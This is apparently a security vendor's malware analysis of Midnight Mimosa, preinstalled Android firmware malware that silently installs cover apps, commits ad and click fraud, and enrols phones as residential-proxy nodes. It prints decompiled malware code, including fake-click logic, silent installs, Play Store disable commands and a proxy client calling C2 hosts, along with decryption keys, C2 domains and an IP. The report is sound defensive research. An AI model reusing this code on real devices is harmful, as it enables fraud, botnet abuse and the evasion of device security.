The phone was compromised before the user turned it on: the rise of Midnight Mimosa

Bitdefender's security researchers have identified a malware campaign (dubbed Midnight Mimosa) running on low-cost, multi-brand Android devices built on MediaTek platforms.

The malware ships preinstalled in the device firmware, and we found multiple system packages involved, depending on the device. It’s on the phone before the owner switches it on for the first time, and it can’t be uninstalled.

The malware runs with system-level privileges that allow it to silently install and remove apps, grant permissions, and load arbitrary code supplied remotely. This essentially means its operators could install and delete apps at will, tuning each device to their needs, including making them part of large botnets.

This scheme is likely designed mainly to generate revenue. The operators carry out ad and click fraud, collect device and installed-app information, and turn infected devices into residential-proxy relay nodes, making them zombies in botnets. This creates an additional revenue stream, as access to botnets for DDoS attacks is a hot commodity. The larger the botnet, the more money they can charge.

The system app itself doesn’t register the fraudulent impressions and clicks. The revenue engine is driven by the dropped cover apps, including real-looking weather, app-lock, note, and OCR apps, which load genuine ads through a legitimate ad SDK. The goal is simple: to load an invisible window on top of apps that registers ads being shown.

This system app - com.android.system.lite - was the first one identified, but it turned out to be the tip of the iceberg. As the investigation continued, we identified the same malware core shipping under a rotating set of system-sounding names, including com.android.sys.prot, com.android.sys.gmsprot and com.android.sys.bcprot.

Each is a different build; some carry different signing certificates, and even different names. The package name is not the threat. The shared core underneath it is.

To top it off, we also discovered 13 apps currently present on Google Play that communicate with the same servers that control the malware. While these apps don’t have the rights that would allow them to be as malicious as the preinstalled packages, they are dangerous nonetheless.

Key findings

• The core of the infection chain is a platform-signed, persistent system application found pre-installed on affected Android devices.
• The enabler silently deploys a rotating family of at least 32 unique disguised apps, including fake AppLock, weather, file-manager, icon-tool, OCR, and audio-editors.
• It grants itself dangerous permissions such as Accessibility, Notification Access and SMS read/write - we noticed neither of these to be used in practice, but they're available to the operator on demand (arbitrary remote code loading). Our insights also show that Accessibility and Notification Access are automatically and repeatedly granted and ungranted after a short while.
• The malware disables the Google Play Store app just before installing a payload app (probably attempting to avoid a potential Play Protect detection). After the payload runs, the Google Play Store app is re-enabled. There's also a safety net that re-enables the app when the user is present, to avoid triggering suspicions.
• Payloads perform hidden ad fraud and automated click fraud or turn the device just another part of large botnets.
• The system app and payload family use shared infrastructure, including a command-and-control service disguised as a weather API.
• The enabler is not a single package. The same core ships under several system-sounding names across different builds and signing certificates.
• The same ad-fraud code was also found in thirteen applications published on Google Play, under at least two developer accounts and thirteen separate signing certificates.

The investigation began with App Anomaly Detection, a technology in Bitdefender Mobile Security, which flagged com.android.system.lite: a package carrying the name and appearance of a core system component while behaving like nothing of the sort.

Most mobile security still runs on a single assumption: scan an app, and if it's deemed clean, it's safe. Bitdefender's App Anomaly Detection (introduced in 2023) exists because, in practice, the theory often doesn’t hold up.

Apps can sit dormant and turn hostile weeks later, sometimes only if certain conditions are met (targeted malware). Such apps can pass every static check, only to later pull their real payload from a server or cleverly unpack it from native code.

App Anomaly Detection closes this gap by watching what apps do, continuously, on the device itself - combining on-device machine learning, real-time behavioral analysis, and a range of other signals. It doesn't rely on whether an app looked clean yesterday; it reacts to the behavior itself, catching apps red-handed the moment they cross the line from benign to malicious.

That real-time behavioral analysis made all the difference. The application was preinstalled as a system app (platform-signed). It’s impossible to uninstall; there’s no store review, and it’s not the user’s choice. Every user-facing defense had already been bypassed by the time the phone was switched on. Behavior was the only thing left to catch it by.

From there, Bitdefender's insights showed what it had been doing. The system app was silently installing and removing a rotating set of payloads on the same devices, among them com.mobile.applock.wt, an app presenting itself as an App Lock tool, while missing the functionality its name suggested.

There’s no interface or code that would let it work as the name suggests, and it was completely hidden from the user. This was, in fact, a highly obfuscated Dropper malware in its own right - but it was not the root cause of the infection.

That is exactly how this investigation began. On paper, nothing about com.android.system.lite invited a careful second look: a platform-signed component disguised as part of the operating system, with no icon and no visible behavior, its actual machinery buried in a native library that only came to life at runtime.

 App Anomaly Detection flagged com.android.system.lite because while it posed as a core Android component, it didn’t behave like one. It repeatedly enabled sensitive access, including Accessibility and Notification Access, and silently installed and removed unrelated applications.

By following these highly suggestive crumbs, the researchers discovered the malware’s source: a persistent, pre-installed system app that could not be removed by the user.

The supposedly system component was actually managing a rotating portfolio of hidden payloads, including fake AppLock apps used for ad fraud and for enrolling devices into a residential-proxy botnet.

The same source was installing a wider cluster of payloads, including com.mobile.applock.en, com.dmstudio.weather, com.dl.guard.lock, appicon.diy.tools.prop and picturetranslate.extractor.text.lite.

Our insights reveal these payload applications being installed and removed repeatedly on the same devices. This churn helps the operation reduce the length of time a payload remains visible in the app list, rotate hashes, and change the active monetization module, while the underlying system component stays in place.

Beyond generating revenue for operators, the devices can be turned into residential-proxy relay nodes, essentially becoming part of botnets and potentially helping launch DDoS attacks when called upon.

The payloads themselves are not new, and this method of shipping malware has been detailed in the past, but this specific campaign — the com.android.system.lite enabler found on devices with firmware signed using certificates attributed to Shenzhen Zediel, delivering malicious apps, some of which are similar to those from Dr.Web’s Android.Phantom operator’s family, now with residential proxyware added.

We can only confirm that certificates bearing the name Shenzhen Zediel were used to sign firmware on affected devices. However, how these certificates ended up on those phones — and whether the certificate owner was involved in or aware of the malware deployment — remains unclear. Furthermore, this is not the only company name that appeared in our investigation.

The malware ships with the device. What remains unclear is at which point in the supply chain it is integrated. It could be introduced by an ODM, a firmware integrator, a logistics partner, or another actor further down the distribution chain. The malware arrives in the ROM before the phone is sold, but identifying the specific party responsible for its inclusion requires information beyond the scope of this technical analysis.

And this is not the only way this malware gets onto people’s devices. There are countless other phones, as we’ll show in this research, that don’t have Zediel-signed firmware and still ship with the same malware.

The internet is flooded with extremely cheap, and sometimes straight-up counterfeit, Android phones. One way to make the money back on hardware sold that cheaply is to load it with software that earns afterwards.

Counterfeit flagship devices are offered on a mainstream marketplace. Model names of this kind, such as S24 Ultra, S25 Ultra, S26 Ultra, appear in our insights as the model strings reported by low-cost MediaTek hardware.

Technical analysis

Since the core apps are very similar, we’ll detail only one of the malicious system apps we found and reveal how the ecosystem works.

The culprit, com.android.system.lite, is a pre-installed Android system application. It is not a normal app: and it ships signed for the platform, runs as the system user, and has the rights to install and remove packages and grant permissions to other apps without any user interaction.

These powers aren't implemented in its own APK code as they are hidden inside a native library (libeasy.so), which, at load time, RC4-decrypts and drops an obfuscated Java framework into the system-uid process.

That framework fetches a remote configuration from a C2 (command & control server), then downloads and loads stage-2 and stage-3 DEX plugins that carry the actual monetization payloads:

• In-process ad fraud: fabricated ad impressions/clicks (the “wz” plugin).
• Silent install/uninstall of partner apps as system-uid (“earn” / “gogo.third” plugins), with silent permission grants.
• The partner apps it drops are themselves known droppers: a TCP proxyware/botnet (applock.en) and an ad-fraud+RCE dropper (applock.wt).

Insights confirm that one enabler silently installs a rotating portfolio of these partner apps onto real devices. The enabler is the on-device root of the whole scheme.

The system app (enabler)

The enabler app is a core, persistent, platform-signed system component that declares a set of privileged permissions. This is the foundation for everything that follows — only a platform-signed system-uid app can hold these permissions:

package: com.android.system.lite   versionCode=900000   label="System" 
<manifest ... sharedUserId="android.uid.system"  coreApp=true> 
  <application android:persistent="true" ...> 
  uses-permission: android.permission.INSTALL_PACKAGES 
  uses-permission: android.permission.DELETE_PACKAGES 
  uses-permission: android.permission.GRANT_RUNTIME_PERMISSIONS 
  uses-permission: android.permission.WRITE_SECURE_SETTINGS 
  uses-permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS 

AndroidManifest.xml of the enabler (aapt2 dump). sharedUserId=android.uid.system + coreApp + persistent = firmware system component; the privileged permissions are what enable silent install/uninstall and silent permission granting.

The app label is the generic “System” and the icon is hidden. It’s invisible in the launcher and indistinguishable from a legitimate OS component. Its own APK dex (com.gogo.bb.sdk / Monitor* services) is only a thin host shell; the dangerous logic lives in the bundled native library.

Capability beyond what was observed

The manifest also requests access that has nothing to do with installing applications. Alongside the install and grant permissions, the enabler declares Accessibility Service, Notification Access, and SMS permissions. Even more interesting is that it enables the Accessibility and Notification Access services itself rather than prompting the owner to do so.

We didn’t see either used during the analysis. That’s worth noting, but it’s also worth not dismissing. An Accessibility Service can read the content of every screen, observe what is typed, and act on the interface on the owner's behalf. It is the standard mechanism behind Android banking trojans and remote-control fraud.

Notification Access allows reading any notification, including those from chat apps. SMS access allows one-time codes to be read and messages to be sent to premium numbers. These permissions are held by a component that cannot be uninstalled and already loads code from a remote server whose operator lineage includes premium-SMS subscription fraud.

The capability is present, self-enabled and remotely armable. What is done with it is a decision the operator makes at the C2, not a property of the samples we analyzed.

Native core libeasy.so drops a hidden framework

libeasy.so registers a single JNI method (nativeInit) whose real body is hidden behind a branch trampoline. At initialization, it caches Java crypto handles, then RC4-decrypts a 142 KB APK embedded in the library and writes it to disk. The dropped APK is the privileged framework.

JNI_OnLoad: FindClass("org/b/c/lib/MainLib"); RegisterNatives(off_69000, 1) 
  JNINativeMethod { name="nativeInit", signature="()I", fnPtr=0xF764 } 

0xF764  nativeInit (registered ptr)  ->  b 0x115AC        ; trampoline 
0x115AC real nativeInit body         ->  "rz.init.done." + "20240425" 
0x10910 init worker (guard @0x697F8, returns -101 if already init) 
0x10940 crypto bootstrap  (caches Cipher / SecretKeySpec / Base64 / String) 
0x107C4 blob dropper  ->  RC4-decrypt blob@0x3949E (len 0x22D60)  ->  write APK 
        RC4 key = last 16 bytes of the blob;  native string key = "rc4@sec[.]com"

libeasy.so load chain (IDA offsets; ET_DYN, imagebase 0 so file offset = vaddr). The family build tag 20240425 is assembled in nativeInit.

The dropped APK is cn.kw.lib.hex (215 classes), a string-obfuscated framework. Its strings are AES-128-CFB encrypted:

g.b(x) = base64-decode(x) -> AES/CFB/NoPadding decrypt 
         key = MD5("aGV4QCFRQFcjRQ==")   (= "hex@!Q@W#E") 
         IV  = "0102030405060708"

String cipher of the embedded framework. Same construction as the enabler’s own string cipher (key “dHhAZXhAc2Vy”) — a shared-code tie.

The two privileged primitives (grant + RCE)

The dropped framework implements the two advertised powers that are absent from the APK dex:

Grant any permission to any package:

// hex.c.b.a(ctx, pkg, perm) — reflected privileged grant 
PackageManager.grantRuntimePermission(pkg, perm, UserHandle)   // + getUserHandleForUid 
// enumerates third-party targets and verifies the grant: 
pm list package -3 ; checkPermission(perm, pkg)

Grant primitive (decoded strings of the embedded dex: “grantRuntimePermission pkg:”, “pm list package -3”). Fully parameterized by target ⇒ it can grant to any foreign package, not just itself.

Remote DEX/JAR update = remote code execution:

cn.kw.lib.dx.DxFactory via dalvik.system.DexClassLoader
downloads/updates kwlib.jar (+ kwlib.next), md5-checked, version-gated (isNeedUdx, lst_udx_tim) endpoints come from remote config (getNavigation), not hardcoded.

RCE loader. Endpoints are supplied by the C2 config at runtime.

Stage-2 / stage-3 plugins and the on-device plugin store

The framework pulls a stage-2 host (kwlib.jar → cn.kw.lib.dx.DxFactory) which then loads three stage-3 plugins. Each plugin is cached under files/plg/<id>/ as magic.o (a JAR disguised with a .o extension) plus a descriptor:

files/plg/<md5-id>/magic.o        <- PK\x03\x04  (a ZIP/JAR, not a .o) 
files/plg/<md5-id>/magic.o[.]info: 
20311###magic###com.wz.sdk.DxFactory###magic###0bed0405...(md5 of jar) 
      ###magic###1782294f...(iconDesc)###magic###^(wtd|com.wz.sdk|com.ads.cal|com.android.gem|...).+

A plugin descriptor. The version + iconDesc values match exactly what the C2 returned in getConfigs — the plugin store is C2-provisioned.

Plugin (entry class)	Version	Role
com.wz.sdk.DxFactory	20311	In-process ad fraud, including fake clicks and impressions
com.earnsdk.lib.DxFactory	5	Silent installation and removal of partner apps (PPI)
com.gogo.third.lib.DxFactory	10014	Silent installer with WebView functionality

The ad-fraud scheme (com.wz.sdk)

The wz plugin renders ads where the owner has not asked for them. It uses two surfaces: full-screen activities, launched without the user having opened anything, and overlay windows drawn on top of whatever is already on screen. Rendering is triggered by screen-state changes, such as the display coming on, or by commands pushed across the ad mesh while the device sits idle.

The ad surface is also marked as secure, so it doesn’t appear in screenshots or screen recordings. That flag exists to protect sensitive content, such as banking screens, from being captured. Here it’s used in reverse: to make the fraudulent ad surface hard for the owner, or for anyone analyzing the device, to record.

The fraud itself is parameterized by a remote config whose Kotlin field names are cleartext:

class RemoteConfig {   // com.ads.cal.core.RemoteConfig (@Metadata field names) 
  int silentPercent;      // % of ads to ‘click’ with NO user touch 
  int notClickPercent;    // % of impressions to auto-convert 
  int notClickInterval;   // min ms between fabricated clicks 
  int notClickTopRate, notClickBottomRate, notClickLeftRate, notClickRightRate; // fake touch placement 
  int livePercent, weight, priority; String mediaPkgName, adspotId; }

The fraud ‘knobs’. silentPercent / notClickPercent are the probabilities of registering a click with no real tap; notClick*Rate bias is where on the creative the synthetic touch lands to look human.

Programmatic (synthetic) click — no user involved:

// wtd/p/n0.java:192  — code-driven click fired from a Runnable 
public void onClick(View view) { b.this.h.performClick(); }

Random target + daily cap + interval throttle (paces the fake traffic to look organic):

// wtd/f/s.java  r(Context) 
int nextInt = random.nextInt(f.size());   // random ad target from C2 list 
int l = e.l();  int d = e.d();            // today’s fabricated count / daily cap 
if (l >= d) { B(3); return; }             // cap reached -> stop 
if (elapsedRealtime - this.h < e.c()) return;  // interval not elapsed -> skip 
w.post(this.i);                            // fire the interaction runnable

Tap → silent deep-link launch of the promoted app:

// wtd/f/s.java  t(MotionEvent)  — an incidental tap becomes a click on the advertiser app 
Intent intent = new Intent(); 
intent.putExtra("from", this.e.e());       // adspot id 
intent.setPackage(this.g);                 // the promoted package 
intent.addFlags(268435456); 
wtd.e.h.g.startActivity(intent);           // silently launches the target

Time-based automatic ‘conversion’ report with a silent flag (60 s after show, no interaction):

// wtd/f/e.java 
if (nVar2.p().get() == p.b && elapsedRealtime - nVar2.h().get() >= 60000) { 
    f Q = Q(str, longValue, EnumC0017e.b, h0Var, false, z.v(str)); 
    k0.l.s(a2, Q);         // upload the (fabricated) interaction event 
} 
// wtd/f/c.java:251 — the upload carries an explicit ‘silent’ boolean 
wtd.m.c.F(iVar.i(), iVar.d(), nVar.t(), nVar.p() /*silent*/, s1, s2, s3);

The full fabrication path: render ad → performClick()/startActivity to fake clicks → auto-report ‘conversions’ after a 60 s timer with silent=true → throttle via silentPercent/notClickPercent/daily-cap. All events go to DotReporter → weatherlive.world/odborwer_dot/cm.

Who gets billed

Fabricated clicks only earn money if an ad network attributes them to somebody, and attribution follows the ad SDK. The network credits an impression and a click to the application hosting its SDK and its ad unit identifiers. A hidden system component carrying no ad SDK would produce traffic that attributes to nothing and pays nobody. 

That’s why the scheme needs the cover apps. The weather, app-lock, note and OCR applications the enabler installs are ordinary-looking apps carrying a legitimate ad SDK, and they are what the ad network sees. This is consistent with the wz plugin running inside the system process: the plugin supplies the logic, the timing and the synthetic interaction, while the ad unit, and therefore the payment, belongs to the cover app. 

The two are bound peers in an ad mesh. Each cover app exports MyDataService under the action com.media.am.intent.action.BIND_SERVICE, a controller binds them and pushes ad payloads and commands across the mesh (initMediaApp, setAdData, transferData), and all of them report the same device identifier to the same weatherlive C2. One application can therefore drive impressions and clicks that another application renders and is paid for.

The division of labor across the scheme:

• System enabler: silently installs and removes the partner apps, grants them permissions, and blinds Play Protect around each install. Hosts no ad units and is billed for nothing.
• Native core and hidden framework: decrypt and load the privileged framework, and provide the permission-grant primitive and the remote code update channel.
• Stage-2 and stage-3 plugins: C2-provisioned modules that run the fraud logic in process and perform the silent installs
• Dropped cover apps: the revenue engine, and the only part of the scheme an ad network ever sees.
• No-icon droppers: separate monetization tracks, proxyware and a second ad-fraud module.
• C2: module control, fraud configuration, and collection of the fabricated events.

Silent install and permission laundering

The earn/gogo plugins silently install partner apps. The decision entrypoint and the install routine are the malware’s own code; it runs because the host holds INSTALL_PACKAGES as system-uid:

// earndex.e.f.d(ctx, assets, pkg, version, str2) -> new com.earnsdk.lib.a(...).h() 
// com.earnsdk.lib.a.h(): if needInstall -> 
AppInstallHelper.c(ctx, assetManager, "mediaapp-release.apk", pkg, str3); 
// AppInstallHelper.c -> earndex.h.c.a() copies the bundled APK out of assets -> earndex.h.f.g(): 
// earndex.h.c.l(context, pkg, path):  PackageInstaller session (silent on system-uid) 
SessionParams sp = new SessionParams(MODE_FULL_INSTALL); 
int sid = pi.createSession(sp); Session s = pi.openSession(sid); 
s.openWrite(...); s.commit(intentSender);   // no user prompt

Silent-install path (com.earnsdk.lib.AppInstallHelper + earndex.h.c/f). Legacy installPackage(Uri,…) reflection is also present for older Android; on Android 13 the PackageInstaller session path is operative.

Because the host process holds INSTALL_PACKAGES as the system user, the createSession → openWrite → commit sequence completes with no PackageInstaller confirmation UI, and the enabler is recorded as the installing package. No user interaction is required at any point of the install.

Permission laundering: because the enabler installs the app, it can also silently grant it permissions a normal store app can never hold. The dropped weather cover app declares and actively uses WRITE_SECURE_SETTINGS — a signature (privileged) development permission:

// com.dmstudio.weather  q6/c.java:17  (uses a permission a store app cannot obtain) 
Settings.Global.putString(cr, "vdgtjy", {"data":<int>,"time":<millis>}); 
// grantable only because a GRANT_RUNTIME_PERMISSIONS holder granted it (development-flag perm): 
// enabler/plugins: grantRuntimePermission pkg:  ... authorize, grantRuntimePermissionFor6X

The weather app's working WRITE_SECURE_SETTINGS write indicates it received a privileged grant it could never obtain from a normal install, which is consistent with the system-uid enabler granting it. The same package is also published on Google Play, in a build that holds no such grant. The privilege comes from how the application arrived on the device, not from the application itself.

Interaction with the system app: the dropped cover apps are bound peers in an ad mesh. They export MyDataService (action com.media.am.intent.action.BIND_SERVICE); a controller binds them and pushes ad commands (initMediaApp/setAdData/transferData) and they share the same uuid and weatherlive C2.

Play Protect evasion (disable → install → re-enable)

Beyond suppressing the install prompt, the plugins blind Google Play Protect for the duration of the install. Using the host’s system-uid shell access, they run ‘pm disable com.android.vending’ (the Play Store, which hosts Play Protect’s on-device scanner) immediately before installing the partner APK, then ‘pm enable com.android.vending’ in both the success and failure install callbacks

The malicious install happens in a window where Google’s scanner is switched off. All three plugins implement it identically (obfuscated strings decrypt to the commands shown):

// com.earnsdk.lib.AppInstallHelper.c()  (also com.gogo.third / com.wz.sdk) 
earndex.e.a.a(context, "com.android.vending");   // -> pm disable com.android.vending   (before install) 
f.g(context, pkg, apkPath);                       //    silent PackageInstaller session 
// install observer: 
onSuccess -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending 
onFailure -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending 

// earndex.e.a  (bldex.e.a / com.ads.cal.core in the other plugins) 
a(ctx,p): f.e({ "pm disable " + p });   // ProcessBuilder 
b(p):     f.e({ "pm enable "  + p });   // ProcessBuilder

Play Protect evasion, confirmed across all three plugins (earn: earndex/e/a.java; gogo: bldex/e/a.java; wz: com/ads/cal/core/kt/ContextKtKt + GEMController). The obfuscated tokens decrypt to ‘pm disable ’, ‘pm enable ’ and ‘com.android.vending’. This is distinct from the silent install itself: the silent install removes the user prompt; disabling com.android.vending removes real-time detection.

Forged Play provenance – spoofed installer, absent frosting

Disabling the scanner conceals the install while it happens. A second technique conceals it afterwards, by rewriting where the app claims to have come from.

A privileged installer holding INSTALL_PACKAGES sets the recorded installer package itself, through PackageInstaller.SessionParams. The platform does not validate the value; it is whatever the installing process declares. On part of the corpus it is set to com.android.vending, so the device reports the app as sourced from Google Play.

The claim is falsifiable. Apps actually distributed through Google Play carry a Play-applied signature block called frosting, that is added server-side by Google as proof the APK passed through Play, and it cannot be produced off-platform. Where the installer field says com.android.vending but no frosting block is present, the provenance is fabricated rather than earned:

MD5	Package	Installer recorded	Play frosting
0903d7fd3e1d4a599a7eb3c5d356779b	com.android.weiapps	com.android.vending	Absent
61aac6a98abd6dcff0dc41bb88159786	com.android.sys.dts	com.android.vending	Absent
250205ee4b8de59e60c745856f439608	com.android.non.szcz	com.android.vending	Absent

Samples recording Google Play as their install source while carrying no Play signature block. All three are enabler-family builds, not dropped payloads.

This inverts the usual triage shortcut. Suppressing the install prompt removes the user, disabling com.android.vending removes the automated scanner, spoofing the installer name removes the forensic trail that would show either happened. In this campaign, the installer field can’t be used on its own to attribute a sample or to clear one, frosting presence or absence is the reliable check.

Delivery model and field insights

The partner APK is not fetched separately at install time. It’s actually bundled inside the stage-3 plugin as assets/mediaapp-release.apk. The C2 controls which APK is delivered by controlling which plugin version it serves (getConfigs version → plugin pulled from CDN oss.showtimetool[.]com). The two partner APKs found bundled are byte-identical to known standalone dropper samples:

Plugin	Bundled mediaapp-release.apk	MD5	Known sample
com.earnsdk.lib	com.mobile.applock.en v6 (“Locket”)	08d231c6a5303e543eb60d4181f6a4ea	Proxyware / EnLoaderLib
com.gogo.third.lib	com.mobile.applock.wt v17 (“Locket”)	4a171f62d1bab01827b06ae73d4caafa	Ad fraud + RCE

Field insights confirm the enabler is the installing package for the whole portfolio on real devices — both the no-icon droppers and the functional cover apps:

Installed package	MD5	Devices
com.mobile.applock.en	08d231c6a5303e543eb60d4181f6a4ea	199
com.mobile.applock.wt	4a171f62d1bab01827b06ae73d4caafa	199
picturetranslate.extractor.text.lite	e250e5966c119a9098f7818fc6c080e5	182
appicon.diy.tools.prop	3b20edff1125e146aa3d5153708b58f4	139
com.dl.guard.lock	6739fe083cfa8dec9b4f989ccba0e99e	120
com.dmstudio.weather	542ab80429ec42e8643dc645f58b716c	97
com.audify.editor.pro	145b806282d247441751bb4957b71606	2
com.mb.applock.a02	ee70ec99121f4d7c8b5a883e5ab3a858	1
com.solide.filemanager.lte	92390cacdd20d2ee5405093669e7302c	1

Packages recorded as installed by com.android.system.lite. Both the no-icon droppers and the functional cover apps are installed by the enabler; multiple distinct APK versions per package reflect C2 version rotation of the bundled payload.

Campaign scale

The table above counts a single studied enabler's installed portfolio. Measured across the family as a whole, over a roughly two-year window, the campaign was observed on thousands of unique devices across more than 150 countries. 

The geographic distribution is led by Mexico, France and Italy, followed by the United States, Germany, Brazil and Spain. Below the top, there’s a long tail across Africa, Southeast Asia and the Middle East.

The chart has two features of that spread that are worth highlighting. No single country is dominant, and the weight sits in two separate regional centers of gravity—Western Europe and the Americas—rather than one.

Neither is what a regional distribution channel looks like; a carrier or a national retailer produces one dominant market. Two centers with a long tail behind them is what hardware moving through international online marketplaces looks like.

We also have some details on the types of devices that carry this malware. Many devices are identified simply by the firmware they use and are likely cheap devices or clones of better-known ones.

As we mentioned earlier, Zediel-signed firmware is not the only way malware is shipped. The operators use many other devices, most of them likely visual clones of real phones, to embed the same malware.

Beyond the generic user agent strings, many of the affected models are counterfeit devices that borrow flagship names they have nothing to do with. Fake iPhones include: "i17 Pro Max", "i16_Pro_Max", or "17_Pro_Max", and an "iPadAirPro" for the tablet line.

Samsung's Galaxy is copied just as freely, with free-text "S25 Ultra", "S24 Ultra", or "Note 18 Ultra" strings that a genuine unit would never report; the campaign even spoofs the real codes, so "SM-S938B", a legitimate-looking user agent string for the Galaxy S25 Ultra, appears on devices that aren't Samsung.

Honor's Magic 15 MAX and a crop of no-name "Ultra" handsets round out the pattern. The same firmware ships under whatever prestige name sells a cheap phone, which is why the model column is a spoofing indicator, not a real device inventory.

The two highest-volume models, by contrast, are genuine, named brands: "S200 X" is associated with Doogee and "KINGKONG X" is associated with Cubot. These brand names also appeared in a publicly reported firmware-update incident documented on the XDA forum, which may indicate a broader pattern in certain segments of the supply chain.

The public report can be found on XDA forum in which owners traced a hidden com.android.sys.* package that reappeared under a new name after removal, the same self-updating behavior seen in this family.

Proxyware botnet (com.mobile.applock.en)

The partner app bundled in the earn plugin (com.mobile.applock.en, label “Locket”, a no-icon fake app-lock) is a single-purpose TCP back-connect proxy.

It enrolls the device as a remotely controlled relay node. It declares only INTERNET and ACCESS_NETWORK_STATE and contains no ads, no UI, and no dynamic code loading. The loader identifies itself as “EnLoaderLib” v1.0.6. Four code sites implement the full node lifecycle: enroll, command, tunnel, relay.

Enroll: each device registers with the C2 as a node:

// h/i.java 
String uuid = new h(i.this.m).a().toString();       // per-device UUID 
jSONObject.put("os",  "android"); 
jSONObject.put("uuid", this.l);                       // node id 
jSONObject.put("is",  this.f192e);                    // product/campaign id 
jSONObject.put("v",   "v1.0.6");                      // EnLoaderLib version 
jSONObject.put("inf", a2);                            // device fingerprint 
// h/g.java  — the fingerprint reported: 
Build.MODEL +"#*#"+ Build.VERSION.RELEASE +"#*#"+ Build.VERSION.SDK_INT +"#*#"+ Build.ID +"#*#"+ Build.BRAND;

Command channel: a raw TCP socket to the control host (not HTTP):

// h/k.java 
Socket socket = new Socket(); 
socket.connect(new InetSocketAddress(split[0], Integer.parseInt(split[1])), 40000); 
// control host built in h/i.java: 
String.format("%s.%s.%s:6000", productId, "apple", domainPool[nextInt]);   // raw TCP :6000 
domainPool = {"0aa0cf0637d66c0d[.]com","aa86a52a98162b7d[.]com","442fe7151fb1e9b5[.]com","v46wd6uramzkmeeo[.]in"};

Command loop: the C2 pushes a list of targets and the device opens a tunnel to each and re-polls on a schedule:

// h/i.java 
JSONObject o = new JSONObject(str); 
JSONArray  s = o.getJSONArray("s");                   // "s" = array of "host,port" targets 
for (int i = 0; i < s.length(); i++) { 
    String[] split = ((String) s.get(i)).split(",");  // "host,port" 
    i.this.t(split[0], split[1], optInt3, optInt2, optString);   // spawn a tunnel per target 
} 
int t = o.optInt("t", 0); 
if (t > 0) f191d.scheduleAtFixedRate(new a(), t, t, TimeUnit.MINUTES);   // periodic re-poll

Relay pump: bytes are piped verbatim between the C2 side and the target (the proxy exit):

// h/m.java  — d.run() opens two sockets and wires both directions: 
socket.connect(new InetSocketAddress(nVar.f231c, nVar.f232d), 5000);   // C2 / relay coordinator 
socket2.connect(mVar.f(str, str2, i), 5000);                           // the target host:port 
execute(new a(socket, socket2));  execute(new b(socket2, socket));     // full-duplex relay 

public final void m(Socket socket, Socket socket2) {                   // the byte pump 
    h.d b2 = l.b(l.g(socket));    // source 
    h.c a2 = l.a(l.d(socket2));   // sink 
    while (!b2.e()) { 
        long d2 = b2.d(bVar, 8192L);          // read up to 8KB from one socket 
        if (d2 > 0) { a2.b(bVar, d2); a2.flush(); }   // write straight to the other 
    } 
}

Enroll → command → tunnel → relay (h/i, h/k, h/m, h/g). A central controller, enrolled nodes keyed by UUID/product id, remotely-supplied host:port targets, and a bidirectional byte relay: the victim’s connectivity is monetised as a residential-proxy exit node, and can reach arbitrary hosts including the local network.

Dynamic verification confirms the control infrastructure is live. On execution, the client resolves a control host via wildcard DNS and completes a TCP connection to it on port 6000, transmitting the registration record; the control host rotates across the four domains on successive attempts:

control host : OeawmFEDPClEAiH9.apple.0aa0cf0637d66c0d[.]com:6000   ->  85.17.70.38:6000 
registration : {"os":"android","uuid":"<node>","is":"OeawmFEDPClEAiH9","v":"v1.0.6", 
                "inf":"<device-fingerprint>","n":"t"} 
response     : (empty — no relay targets returned to a freshly-enrolled node) 
rotation     : next attempt -> OeawmFEDPClEAiH9.apple.442fe7151fb1e9b5[.]com:6000

The control server 85.17.70.38:6000 (reached through the wildcard-DNS domains) is live and accepts node enrolment. A freshly-enrolled node received no relay targets in this observation; no traffic was relayed.

The second bundled partner (com.mobile.applock.wt) is the same no-icon fake app-lock shell with a different payload: an ad-fraud module (com.ctr.cbd) that reflectively loads remote DEX ad modules. The enabler therefore delivers both a proxyware and an ad-fraud dropper, selected by which plugin the C2 serves.

C2 infrastructure

Two HTTPS channels to api.weatherlive.world, both AES-encrypted with HmacMD5-signed requests. The command channel (getConfigs) decrypts to a device-fingerprint request and a module-control response:

POST https://api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs 
headers: App-Id: 20240425 | api-id | nonce | timestamp | signature(HmacMD5) 

device SENDS (AES/ECB/PKCS5, decrypted): 
  {"imei":..,"androidId":..,"mac":..,"simCode":"CN","channelId":"20240425","timezone":..} 

C2 RETURNS (AES/CBC/PKCS5, decrypted) — remote module control plane: 
  {"list":[{"sdkName":"wz","status":1,"updateStatus":1,"version":20311}, 
           {"sdkName":"earn",...,"version":5}, 
           {"sdkName":"bl",...,"version":10014}]} 
  per-module: {"size":"20311","iconDesc":"1782294f...","warningIcon":"https://oss.showtimetool[.]com/...png"}

The getConfigs control channel dictates which plugins run, at which version, and where to fetch them (warningIcon URL, keyed by iconDesc md5). The telemetry beacon /odborwer_dot/cm returns only a fixed ack {"a":0}.

Module download URLs (from decrypted config; served as .png on the CDN):

• wz (v20311) hxxps://oss[.]showtimetool[.]com/ssc/2026/08-13/[REDACTED].png
• kwlib (v100007) hxxps://oss[.]showtimetool[.]com/ssc/2026/07-04/[REDACTED].png
• gogo (v10014) hxxps://oss[.]showtimetool[.]com/ssc/2026/03-09/[REDACTED].png
• earn (v5) hxxps://oss[.]showtimetool[.]com/ssc/2025/12-07/[REDACTED].png

Related samples — the enabler is a multi-name family

A manifest-similarity query surfaced other fake-system applications. Because AOSP-disguised apps share manifest structure, candidates were confirmed by hard family markers rather than manifest score: presence of the native core (libeasy.so, or a renamed variant), the RC4-dropped framework namespace cn.kw.lib, the C2 api.weatherlive.world, the Accessibility hook, and the distinctive versionCode 900000+ scheme.

The enabler is not a single package: the same core ships under several ‘system’ names.

Sample (MD5)	Package (versionCode)	Confirming markers	Verdict
b862681953e945439167a736ba4cd41b	com.android.system.lite (900000)	libeasy.so, api.weatherlive.world, MonitorAccessibility	Same family — sibling build of this enabler, using a different signing certificate
d4ceb05682ecd60f4ebb4e76e02fcf7d	com.android.sys.prot (900014)	cn.kw.lib, api.weatherlive.world, MonitorAccessibility; native core renamed to libunionprt.so	Same family — variant enabler
2b784622422f4280e0b3e38b30dd87bc	com.android.sys.gmsprot (100000)	libeasy.so, cn.kw.lib, api.weatherlive.world	Same family — variant enabler

Confirmed by binary analysis. The com.android.system.lite / com.android.sys.* cluster (versionCode 900000+, ‘system’/‘sys’ naming) is one enabler family sharing the libeasy / cn.kw.lib core and the weatherlive C2.

Why Shenzhen Zediel Co., Ltd.

